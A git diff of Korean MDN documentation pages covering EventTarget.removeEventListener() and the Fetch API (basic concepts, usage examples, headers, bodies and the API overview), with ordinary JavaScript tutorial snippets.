이벤트 타깃에서 제거할 이벤트 핸들러 함수, {{domxref("EventListener")}}를 지정합니다.
+
options {{optional_inline}}
+
이벤트 리스너에 대한 특징, 즉 제거할 이벤트 리스너의 옵션들을 지정합니다. 지정할 수 있는 옵션들은 아래와 같습니다. +
    +
  • capture: 이 이벤트 타입의 이벤트들이 DOM 트리 내 모든 어떤 EventTarget 에 디스패치되기 전에  등록된 listener 들을 먼저 처리하도록 만들지 말지를 결정하는 {{jsxref("Boolean")}} 값.
  • +
  • {{non-standard_inline}} mozSystemGroup: Available only in code running in XBL or in Firefox' chrome, it is a {{jsxref("Boolean")}} defining if the listener is added to the system group. (비표준)
  • +
+
+
useCapture {{optional_inline}}
+
Specifies whether the {{domxref("EventListener")}} to be removed is registered as a capturing listener or not. If this parameter is absent, a default value of false is assumed.
+
If a listener is registered twice, one with capture and one without, remove each one separately. Removal of a capturing listener does not affect a non-capturing version of the same listener, and vice versa.
+
+ +

Return value

+ +

undefined.

+ +

Matching event listeners for removal

+ +

Given an event listener previously added by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}}, you may eventually come to a point at which you need to remove it. Obviously, you need to specify the same type and listener parameters to removeEventListener(), but what about the options or useCapture parameters?

+ +

While addEventListener() will let you add the same listener more than once for the same type if the options are different, the only option removeEventListener() checks is the capture/useCapture flag. Its value must match for removeEventListener() to match, but the other values don't.

+ +

For example, consider this call to addEventListener():

+ +
element.addEventListener("mousedown", handleMouseDown, true);
+ +

Now consider each of these two calls to removeEventListener():

+ +
element.removeEventListener("mousedown", handleMouseDown, false);     // Fails
+element.removeEventListener("mousedown", handleMouseDown, true);      // Succeeds
+
+ +

The first call fails because the value of useCapture doesn't match. The second succeeds, since useCapture matches up.

+ +

Now consider this:

+ +
element.addEventListener("mousedown", handleMouseDown, { passive: true });
+ +

Here, we specify an options object in which passive is set to true, while the other options are left to the default value of false.

+ +

Now look at each of these calls to removeEventListener() in turn. Any of them in which capture or useCapture is true fail; all others succeed. Only the capture setting matters to removeEventListener().

+ +
element.removeEventListener("mousedown", handleMouseDown, { passive: true });     // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: true });     // Fails
+element.removeEventListener("mousedown", handleMouseDown, { passive: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, false);                 // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, true);                  // Fails
+
+ +

It's worth noting that some browser releases have been inconsistent on this, and unless you have specific reasons otherwise, it's probably wise to use the same values used for the call to addEventListener() when calling removeEventListener().

+ +

Notes

+ +

If an {{domxref("EventListener")}} is removed from an {{domxref("EventTarget")}} while it is processing an event, it will not be triggered by the current actions. An {{domxref("EventListener")}} will not be invoked for the event it was registered for after being removed. However, it can be reattached.

+ +

Calling removeEventListener() with arguments that do not identify any currently registered {{domxref("EventListener")}} on the EventTarget has no effect.

+ +

Example

+ +

This example shows how to add a click-based event listener and remove a mouseover-based event listener.

+ +
var body = document.querySelector('body'),
+    clickTarget = document.getElementById('click-target'),
+    mouseOverTarget = document.getElementById('mouse-over-target'),
+    toggle = false;
+
+function makeBackgroundYellow() {
+    'use strict';
+
+    if (toggle) {
+        body.style.backgroundColor = 'white';
+    } else {
+        body.style.backgroundColor = 'yellow';
+    }
+
+    toggle = !toggle;
+}
+
+clickTarget.addEventListener('click',
+    makeBackgroundYellow,
+    false
+);
+
+mouseOverTarget.addEventListener('mouseover', function () {
+    'use strict';
+
+    clickTarget.removeEventListener('click',
+        makeBackgroundYellow,
+        false
+    );
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

Browser compatibility

+ +

 

+ + + +

{{Compat("api.EventTarget.removeEventListener", 3)}}

+ +

Polyfill to support older browsers

+ +

addEventListener() and removeEventListener() are not present in older browsers. You can work around this by inserting the following code at the beginning of your scripts, allowing the use of addEventListener() and removeEventListener() in implementations that do not natively support it. However, this method will not work on Internet Explorer 7 or earlier, since extending the Element.prototype was not supported until Internet Explorer 8.

+ +
if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId < oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId < aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId < aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}
+
+ +

See also

+ + diff --git a/files/ko/web/api/fetch_api/basic_concepts/index.html b/files/ko/web/api/fetch_api/basic_concepts/index.html new file mode 100644 index 0000000000..45e59484de --- /dev/null +++ b/files/ko/web/api/fetch_api/basic_concepts/index.html @@ -0,0 +1,66 @@ +--- +title: Fetch basic concepts +slug: Web/API/Fetch_API/Basic_concepts +translation_of: Web/API/Fetch_API/Basic_concepts +--- +

{{DefaultAPISidebar("Fetch API")}}{{draft}}

+ +
+

Fetch 는 네트워크 통신을 포함한 리소스를 가지고 오기 위한 인터페이스를 제공해주는 보다 새로운 API입니다. XMLHttpRequest 와 기능은 같지만 확장 가능하며 효과적으로 구성되어 있습니다. 이 문서에서는 Fetch API의 기본 컨셉들중 일부를 소개합니다.

+
+ +
+

이 문서는 수시로 갱신됩니다 。보다 나은 설명이 필요한 Fetch 컨셉트를 발견한 경우에는、MDN 디스커션 포럼이나 Mozilla IRC(#mdn room)에 연락주시기 바랍니다.

+
+ +

개념

+ +

Fetch의 핵심은 인터페이스의 추상화입니다. HTTP {{domxref("Request")}}, {{domxref("Response")}}, {{domxref("Headers")}}, {{domxref("Body")}}의 Payload, 그리고 비동기 리소스 Request의 초기화를 위한{{domxref("GlobalFetch.fetch","global fetch")}}메서드가 이 대상입니다. HTTP의 주요 컴포넌트가 자바스크립트 오브젝트로써 추상화되어있기 때문에 다른 API에서 이러한 기능들을 사용하기 쉽게 해줍니다.

+ +

Service Worker는 Fetch를 사용하는 API의 일례입니다.

+ +

Fetch는 이러한 Request의 비동기적인 성질을 한걸음 진화시킨 {{jsxref("Promise")}} 베이스의 API입니다.

+ +

가드

+ +

가드는 {{domxref("Headers")}} 객체의 기능으로, 헤더가 사용하고 있는 장소에 알맞게 immutablerequestrequest-no-corsresponsenone값을 얻습니다.

+ +

{{domxref("Headers.Headers","Headers()")}}의 {{glossary("constructor")}}를 사용하고 있는 새로운  {{domxref("Headers")}}객체가 생성될 때, 가드는 기본 설정일때 none에 위치됩니다. {{domxref("Request")}}객체나 {{domxref("Response")}}객체가 생성되었을 때, 관계지어진 {{domxref("Headers")}}객체의 가드는 아래의 명세와 같이 설정되어 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
새로운 객체형생성자관계한{{domxref("Headers")}} 객체 가드의 설정
{{domxref("Request")}}{{domxref("Request.Request","Request()")}}request
no-cors의 {{domxref("Request.mode","mode")}}를 설정한 {{domxref("Request.Request","Request()")}}request-no-cors
{{domxref("Response")}}{{domxref("Response.Response","Response()")}}response
{{domxref("Response.error","error()")}}메서드나 {{domxref("Response.redirect","redirect()")}} 메서드immutable
+ +

헤더 가드는 헤더의 콘텐츠를 변경하는 {{domxref("Headers.set","set()")}}{{domxref("Headers.delete","delete()")}},{{domxref("Headers.append","append()")}}메서드에 영향을 끼칩니다.가드는 immutable의 {{domxref("Headers")}}를 수정하려고 한 경우, TypeError를 반환합니다. 예외의 경우도 있는데 다음과 같은 상황에서는 동작합니다.

+ + diff --git "a/files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" "b/files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" new file mode 100644 index 0000000000..403c340413 --- /dev/null +++ "b/files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" @@ -0,0 +1,419 @@ +--- +title: Using Fetch +slug: Web/API/Fetch_API/Fetch의_사용법 +translation_of: Web/API/Fetch_API/Using_Fetch +--- +

Fetch API를 이용하면 Request나 Response와 같은 HTTP의 파이프라인을 구성하는 요소를 조작하는것이 가능합니다. 또한 {{domxref("GlobalFetch.fetch","fetch()")}} 메서드를 이용하는 것으로 비동기 네트워크 통신을 알기쉽게 기술할 수 있습니다.

+ +

이전에 이러한 기능을  {{domxref("XMLHttpRequest")}}에서 제공하고 있었습니다. Fetch는 이러한 API의 대체제로 {{domxref("ServiceWorker_API", "Service Workers")}}같은 기술로 간단히 이용하는것이 가능합니다. 또한 CORS나 HTTP확장같은  HTTP에 관련한 개념을 모아 정의하고 있습니다.

+ +

Fetch의 기본 스펙은jQuery.ajax()와 기본적으로 두가지가 다르다는 사실에 유념해야합니다.

+ + + +

기본적인 fetch는 누구라도 알기쉽고 간단하게 작성할 수 있습니다. 아래의 코드를 봐주시기 바랍니다.

+ +
fetch('http://example.com/movies.json')
+  .then(function(response) {
+    return response.json();
+  })
+  .then(function(myJson) {
+    console.log(JSON.stringify(myJson));
+  });
+ +

네트워크에서 JSON 파일을 가져 와서 콘솔에 인쇄합니다. 간단한 fetch() 사용 흐름은 인수 한개(가져올 자원의 경로)를 가져오고 응답을 포함하는 약속 ({{domxref ( "Response")}} 개체)을 반환하는 것입니다.

+ +

이것은 단순한 HTTP Response이며, 실제 JSON이 아닙니다. response 객체로부터 사진을 가져오기 위해서는 {{domxref("Body.json","json()")}} 메서드를 사용할 필요가 있습니다. ({{domxref("Body")}}의 믹스인 (역주:php의 트레이드와 같은것입니다. )으로 정의되어, 이것은 {{domxref("Request")}} 객체와 {{domxref("Response")}} 객체의 쌍방에 구현되어 있습니다.

+ +
+

노트: http Request와 http Response의 Body mixin은 Body 컨텐츠를 다른 mine 타입으로 사용하는 비슷한 메서드를 제공하고 있습니다.  상세한 내용은 {{anch("Body")}} 섹션을 참고해 주시기 바랍니다.

+
+ +

Fetch Reqeust는 검색된 리소스로부터의 지시가 아닌 CSPconnect-src의 디렉티브(directive)에 의해 제어됩니다.

+ +

리퀘스트의 옵션 적용

+ +

fetch() 메서드에 두번째 파라미터를 적용하는것도 가능합니다. init 오브젝트는 다른 여러 세팅을 컨트롤 할 수 있게 해줍니다.

+ +

모든 설정 가능한 옵션의 상세 설명은 {{domxref("GlobalFetch.fetch","fetch()")}}를 참고해주시기 바랍니다.

+ +
// Example POST method implementation:
+
+postData('http://example.com/answer', {answer: 42})
+  .then(data => console.log(JSON.stringify(data))) // JSON-string from `response.json()` call
+  .catch(error => console.error(error));
+
+function postData(url = '', data = {}) {
+  // Default options are marked with *
+    return fetch(url, {
+        method: 'POST', // *GET, POST, PUT, DELETE, etc.
+        mode: 'cors', // no-cors, cors, *same-origin
+        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+        credentials: 'same-origin', // include, *same-origin, omit
+        headers: {
+            'Content-Type': 'application/json',
+            // 'Content-Type': 'application/x-www-form-urlencoded',
+        },
+        redirect: 'follow', // manual, *follow, error
+        referrer: 'no-referrer', // no-referrer, *client
+        body: JSON.stringify(data), // body data type must match "Content-Type" header
+    })
+    .then(response => response.json()); // parses JSON response into native JavaScript objects
+}
+
+ +

자격 증명(credentials)이 포함된 Request 요청

+ +

자격 증명이 포함된 인증서를 보내도록 하려면 fetch() 메서드에 credentials: 'include'를 추가하도록 합니다. 이것은 cross-origin 요청에서도 사용됩니다.

+ +
fetch('https://example.com', {
+  credentials: 'include'
+})
+ +

요청하려는 URL이 호출 스크립트와 동일한 origin을 가지고 있을때만 자격증명을 전송하려면 credentials: 'same-origin'를 추가해 주시기 바랍니다.

+ +
// The calling script is on the origin 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})
+ +

브라우저의 보안을 유지하는것 대신 자격증명을 포함하지 않는것을 원한다면 credentials: 'omit'를 작성해 주시기 바랍니다.

+ +
fetch('https://example.com', {
+  credentials: 'omit'
+})
+
+ +

Uploading JSON data

+ +

POST프로토콜로 JSON인코딩된 데이터를 보내기 위해 {{domxref("GlobalFetch.fetch","fetch()")}}를 사용합니다.

+ +
var url = 'https://example.com/profile';
+var data = {username: 'example'};
+
+fetch(url, {
+  method: 'POST', // or 'PUT'
+  body: JSON.stringify(data), // data can be `string` or {object}!
+  headers:{
+    'Content-Type': 'application/json'
+  }
+}).then(res => res.json())
+.then(response => console.log('Success:', JSON.stringify(response)))
+.catch(error => console.error('Error:', error));
+ +

Uploading a file

+ +

<input type="file" /> input엘리먼트, {{domxref("FormData.FormData","FormData()")}}, {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}를 사용하여 파일을 업로드 할 수 있습니다.

+ +
var formData = new FormData();
+var fileField = document.querySelector('input[type="file"]');
+
+formData.append('username', 'abc123');
+formData.append('avatar', fileField.files[0]);
+
+fetch('https://example.com/profile/avatar', {
+  method: 'PUT',
+  body: formData
+})
+.then(response => response.json())
+.catch(error => console.error('Error:', error))
+.then(response => console.log('Success:', JSON.stringify(response)));
+ +

Uploading multiple files

+ +

<input type="file" multiple /> input엘리먼트와{{domxref("FormData.FormData","FormData()")}}, {{domxref("GlobalFetch.fetch","fetch()")}}를 사용하여 파일 다중업로드를 할 수 있습니다.

+ +
var formData = new FormData();
+var photos = document.querySelector('input[type="file"][multiple]');
+
+formData.append('title', 'My Vegas Vacation');
+for (var i = 0; i < photos.files.length; i++) {
+  formData.append('photos', photos.files[i]);
+}
+
+fetch('https://example.com/posts', {
+  method: 'POST',
+  body: formData
+})
+.then(response => response.json())
+.then(response => console.log('Success:', JSON.stringify(response)))
+.catch(error => console.error('Error:', error));
+ +

문서 파일을 열단위로 처리하기

+ +

응답하는 곳에서 읽는 덩어리들은 줄 단위로 깔끔하게 떨어지지 않으며 문자열이 아니라 Uint8Arrys(8비트 부호 없는 정수)입니다. 만약 텍스트 파일은 fetch하고 이것을 줄 단위로 처리하고자 한다면, 이런 복잡함을 다루는 것은 사용자에게 달려있습니다. 아래의 예시는 line iterator를 생성하여 처리하는 한가지 방법을 보여주고 있습니다. (간단하게 하기위해, 텍스트는 UTF-8이라고 가정하며,  fetch errors를 다루지 않는다고 합시다).

+ +
async function* makeTextFileLineIterator(fileURL) {
+  const utf8Decoder = new TextDecoder("utf-8");
+  let response = await fetch(fileURL);
+  let reader = response.body.getReader();
+  let {value: chunk, done: readerDone} = await reader.read();
+  chunk = chunk ? utf8Decoder.decode(chunk) : "";
+
+  let re = /\n|\r|\r\n/gm;
+  let startIndex = 0;
+  let result;
+
+  for (;;) {
+    let result = re.exec(chunk);
+    if (!result) {
+      if (readerDone) {
+        break;
+      }
+      let remainder = chunk.substr(startIndex);
+      ({value: chunk, done: readerDone} = await reader.read());
+      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
+      startIndex = re.lastIndex = 0;
+      continue;
+    }
+    yield chunk.substring(startIndex, result.index);
+    startIndex = re.lastIndex;
+  }
+  if (startIndex < chunk.length) {
+    // last line didn't end in a newline char
+    yield chunk.substr(startIndex);
+  }
+}
+
+for await (let line of makeTextFileLineIterator(urlOfFile)) {
+  processLine(line);
+}
+ +

fetch의 성공 여부를 체크

+ +

한가지 예를 들자면, 네트워크 error가 발생했을때 또는 CORS 가 서버단에서 잘못 설정되어있다면 {{domxref("GlobalFetch.fetch","fetch()")}} promise 객체는 {{jsxref("TypeError")}} 메시지와 함께 반려 할것입니다. 비록 이 현상은 보통 허가 이슈나 그와 비슷한 것을 의미할지라도, 404 는 네트워크 error를 구성하지는 않습니다.  성공적인 fetch() 를 체크하는 정확한 방법은 promise 객체가 해결되었는지를 체크하는 것을 포함합니다. 그리고 {{domxref("Response.ok")}} property 가 "true"의 값을 가지고 있는지 확인하는 것입니다. 코드는 아래와 같이 구현될겁니다:

+ +
fetch('flowers.jpg').then(function(response) {
+  if(response.ok) {
+    return response.blob();
+  }
+  throw new Error('Network response was not ok.');
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+}).catch(function(error) {
+  console.log('There has been a problem with your fetch operation: ', error.message);
+});
+ +

request 객체를 fetch로 전달

+ +

fetch()를 사용해 요청한 리소스의 경로를 전달하는것 대신{{domxref("Request.Request","Request()")}} 생성자를 사용해 Request 객체를 작성하여 fetch() 메서드를 인수로 전달하는것도 가능합니다.

+ +
var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});
+ +

fetch()메서드의 인수와 똑같은 인수를 Request()객체에 전달하여 적용하는것이 가능합니다. 또한 Request 객체의 클론을 생성하기 위해 이미 존재하는 Request 객체를 전달하는것도 가능합니다.

+ +
var anotherRequest = new Request(myRequest,myInit);
+ +

이것은 Request와 Resposne의 Body를 하나만 사용하고 있으므로 사용성이 높습니다.필요하면 init 객체를 변화시켜 Response나 Request를 재사용할 수 있도록 복사합니다. The copy must be made before the body is read, and reading the body in the copy will also mark it as read in the original request.

+ +
+

노트: {{domxref("Request.clone","clone()")}} 메서드를 사용해 Request 객체의 클론을 생성할 수 있습니다. 다른 카피 메서드와 약간 다른 의미가 있습니다. 이전 요청의 body가 이미 읽어들여진 경우 전자는  실패하지만 clone()메서드는 실패하지 않습니다. 이 기능은 Response와 동일합니다.

+
+ +

Headers

+ +

{{domxref("Headers")}} 인터페이스에서  {{domxref("Headers.Headers","Headers()")}} 생성자를 사용해 헤더 객체를 생성할 수 있습니다. 헤더 객체는 Key와 Value로 이루어진 간단한 multi-map입니다.

+ +
var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");
+ +

똑같이 배열을 전달하거나 객체 리터럴을 생성자에 전달하는것으로 생성할 수 있습니다.

+ +
myHeaders = new Headers({
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
+});
+ +

다음과 같은 코드로 헤더의 내용을 들여다 볼 수 있습니다.

+ +
console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.getAll("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.getAll("X-Custom-Header")); // [ ]
+ +

이러한 몇몇개의 조작법은 {{domxref("ServiceWorker_API","ServiceWorkers")}}에서밖에 도움되지 않지만 헤더를 조작하기 위해서 보다 나은 API를 제공하고 있습니다.

+ +

모든 Header 메서드는 유효한 HTTP 헤더가 전달되지 않았을 경우 TypeError을 반환합니다. immutable Guard(다음 섹션 참고)가 설정되어 있는 경우에도 TypeError를 반환합니다. TypeError를 반환하지 않고 실패하는 경우도 있습니다. 다음 예를 참고해주시기 바랍니다.

+ +
var myResponse = Response.error();
+try {
+  myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+  console.log("은행이 아니잖아요!!");
+}
+ +

헤더의 좋은 사용법으로 처리하기 전에 컨텐츠 타입으로 올바른가의 여부를 판별하는 방법이 있습니다. 예를 들어,

+ +
fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get('content-type');
+    if(contentType && contentType.includes('application/json')) {
+      return response.json();
+    }
+    throw new TypeError("Oops, we haven't got JSON!");
+  })
+  .then(function(json) { /* process your JSON further */ })
+  .catch(function(error) { console.log(error); });
+ +

가드

+ +

헤더는 리퀘스트를 송신할 수 있으며 리스폰스를 수신할 수 있습니다. 어떤 정보를 수정할 수 있게 하기 위해, 혹은 수정하기 위해 여러 종류의 제어가 가능합니다. 헤더는 guard 프로퍼티는 이것을 가능하게 합니다. 가드는 Request나 Response에 포함되지 않지만  헤더 객체에서 조작 가능한 여러 메서드들의 사용 가능 여부에 영향을 미칩니다.

+ +

가드의 설정값은 다음과 같습니다.

+ + + +
+

메모: request에서 가드된 헤더의Content-Length 헤더는 추가나 변경할 수 없는 가능성이 있습니다.  마찬가지로 리스폰스 헤더에 Set-Cookie를 삽입하는것은 불가능합니다.ServiceWorker는 동기 Reponse를 추출하여 쿠키를 설정합니다.

+
+ +

Response 객체

+ +

위에서 본 바와 같이 {{domxref("Response")}} 인스턴스들은 fetch() promise가 resolve됬을때 반환됩니다.

+ +

아래는 어떤 리스폰스 객체라도 공통으로 사용되는 리스폰스 프로퍼티입니다.

+ + + +

Response 객체는 개발자의 손에 의해 동적으로 만드는것이 가능합니다. 이 방법은 {{domxref("ServiceWorker_API", "ServiceWorkers")}}내에서 활약할 때가 많습니다. 예를들어 Request를 획득했을 때  {{domxref("FetchEvent.respondWith","respondWith()")}}메서드에 의해 커스텀된 리스폰스를 반환하는 경우가 있습니다.

+ +
var myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+  event.respondWith(
+    new Response(myBody, {
+      headers: { "Content-Type" : "text/plain" }
+    })
+  );
+});
+ +

{{domxref("Response.Response","Response()")}} 생성자는 파라미터로써 두개의 객체를 전달하는것이 가능합니다.첫번째는 Response Body, 두번째는 초기화 객체({{domxref("Request.Request","Request()")}}의 클론을 생성하는 방법과 비슷합니다.) 입니다.

+ + + +
+

付記: 정적 메서드 {{domxref("Response.error","error()")}}는 단순한 에러 Response를 반환합니다. {{domxref("Response.redirect","redirect()")}} 메서드 또한 지정한 URL에 리다이렉트할 Response를 반환합니다. 이것들은 Service Workers에서만 사용되고 있습니다.

+
+ +

Body

+ +

Request, Response 둘다 Body를 가지고 있습니다. body는 아래에서 기술한 타입들 중 하나의 인스턴스입니다.

+ + + +

{{domxref("Body")}} 믹스인은 {{domxref("Request")}}나{{domxref("Response")}}에 구현되어, 콘텐츠를 추출하기 위해 아래의 메서드가 정의되어 있습니다. 이러한 메서드들은 전부 최종적으로 요청으로 반환된 값을 내장하고 있는 promise를 반환합니다.

+ + + +

이것들은 비 텍스트 데이터를 XHR보다 훨씬 간단하게 사용하는것을 도와줍니다.

+ +

Request 바디는 body 파라미터를 전달하는 것으로 설정할 수 있습니다.

+ +
var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+  method: "POST",
+  body: form
+})
+ +

Both request and response (and by extension the fetch() function), will try to intelligently determine the content type. A request will also automatically set a Content-Type header if none is set in the dictionary.

+ +

Feature detection(특징 추출)

+ +

Fetch API support는{{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} or {{domxref("GlobalFetch.fetch","fetch()")}} on the {{domxref("Window")}} or {{domxref("Worker")}}로 존재여부를 확인함으로써 추출할 수 있습니다. 예를 들어:

+ +
if (window.fetch) {
+    // run my fetch request here
+} else {
+    // do something with XMLHttpRequest?
+ +

Polyfill

+ +

Fetch를 지원하지 않는 브라우저를 위해 미지원 브라우저를 위한 Fetch Polyfill이 지원되고 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

관련항목

+ +
+ + + +

{{DefaultAPISidebar("Fetch API")}} 

diff --git a/files/ko/web/api/fetch_api/index.html b/files/ko/web/api/fetch_api/index.html new file mode 100644 index 0000000000..d3b3d7b672 --- /dev/null +++ b/files/ko/web/api/fetch_api/index.html @@ -0,0 +1,88 @@ +--- +title: Fetch API +slug: Web/API/Fetch_API +tags: + - API + - Experimental + - Fetch + - Landing + - Reference +translation_of: Web/API/Fetch_API +--- +
{{DefaultAPISidebar("Fetch API")}}
+ +

Fetch API는 네트워크 통신을 포함한 리소스 취득을 위한 인터페이스가 정의되어 있습니다.  {{domxref("XMLHttpRequest")}}와 같은 비슷한 API가 존재합니다만, 새로운 Fetch API는 좀더 강력하고 유연한 조작이 가능합니다.

+ +

기본 개념과 사용 방법

+ +

Fetch에는 일반적인 오브젝트로로 {{domxref("Request")}} 와 {{domxref("Response")}}가 포함되어 있습니다.  이것들은 service worker이나 Cache API같이 Response와 Request객체를 다루는 API나 독자적으로 리스폰스를 발생시키는 경우에도 사용 가능합니다.

+ +

또한 CORS나 HTTP 오리진 헤더의 행동에 관련한 개념에 대해서도 정의되어 있습니다. 이 정의는 여러곳에 분산되어있는 갖가지 행동에대한 정의들을 한곳에 고쳐 쓴 것입니다.

+ +

Fetch API로 리소스를 취득하기 위해서 {{domxref("GlobalFetch.fetch")}} 메소드를 불러들여야 합니다. 이 메소드는  {{domxref("Window")}}나 {{domxref("WorkerGlobalScope")}}와 같은 인터페이스로부터 구현되었습니다. 

+ +

fetch()를 불러들이는 경우, 취득할 리소스를 반드시 인수로 지정하지 않으면 안됩니다. 읽어들인 뒤,  fetch()는 Promise객체를 반환합니다. 리퀘스트가 성공하든 실패하든 해당 리퀘스트 통신에 대한 {{domxref("Response")}}객체가 취득됩니다. fetch()의 두번째 인수는 초기화에 사용되는 객체를 정의하고 있습니다. 이 인수는 기입하지 않아도 함수의 동작에 문제가 없습니다. 이 인수에 대한 상세한 정보는 {{domxref("Request")}})를 참고해주시기 바랍니다.

+ +

{{domxref("Response")}}를 가져온 후에, 콜백함수의 매개변수로 담긴 response 객체에는 리스폰스에 포함되어있는 컨텐츠와 그에대한 처리방법이 담긴 메소드들이 담겨있습니다. 자세한 사항은 {{domxref("Body")}}를 참고해주시기 바랍니다.

+ +

{{domxref("Request.Request","Request()")}}와 {{domxref("Response.Response","Response()")}}를 사용하는 것으로, Request와 Response를 직접 작성할 수 있습니다. 하지만 이러한 추가 옵션들은   {{domxref("FetchEvent.respondWith")}}와 같은 또다른 API를 불러 들이는 작업이 수행되어야 하므로 필요하지 않다면 굳이 작성하지 않는 편이 좋습니다.

+ +
+

참고: Fetch API에 대한 자세한 이용방법은 Using Fetch를 참고해주시기 바랍니다. 또한  Fetch basic concepts에서는 Fetch API의 기본개념 또한 설명되어 있습니다.

+
+ +

Aborting a fetch

+ +

몇몇 브라우저들은 {{domxref("AbortController")}}와 {{domxref("AbortSignal")}} 인터페이스에 대한 실험적인 기능을 추가로 지원하였습니다. 만약 Fetch API와 XHR API 호출이 완료되지 않았다면, 중단 될 수 있도록 하는 기능입니다. 자세한 사항은 인터페이스 문서를 참고해주시기 바랍니다.

+ +

Fetch 인터페이스

+ +
+
{{domxref("GlobalFetch")}}
+
리소스를 취득하기 위해 사용되는  fetch() 메서드가 정의되어 있습니다.
+
{{domxref("Headers")}}
+
리퀘스트와 리스폰스 객체에 대한 헤더입니다. 헤더정보에 보내는 쿼리나 통신 결과의 행동에 대한 선택이 가능합니다.
+
{{domxref("Request")}}
+
리소스에 대한 리퀘스트의 객체입니다.
+
{{domxref("Response")}}
+
리퀘스트에 대한 리스폰스 객체입니다.
+
+ +

Fetch 믹스인

+ +
+
{{domxref("Body")}}
+
Response와 Request 본체에 관련한 메소드들이 정의되어 있습니다. 이것들을 이용함으로써 response 결과물을 html, json과 같이 컨텐츠 타입별로 처리하는것이 가능합니다. 
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

관련정보

